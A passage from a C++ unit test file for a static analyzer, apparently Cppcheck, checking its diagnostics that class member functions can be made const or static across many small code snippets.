\"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n 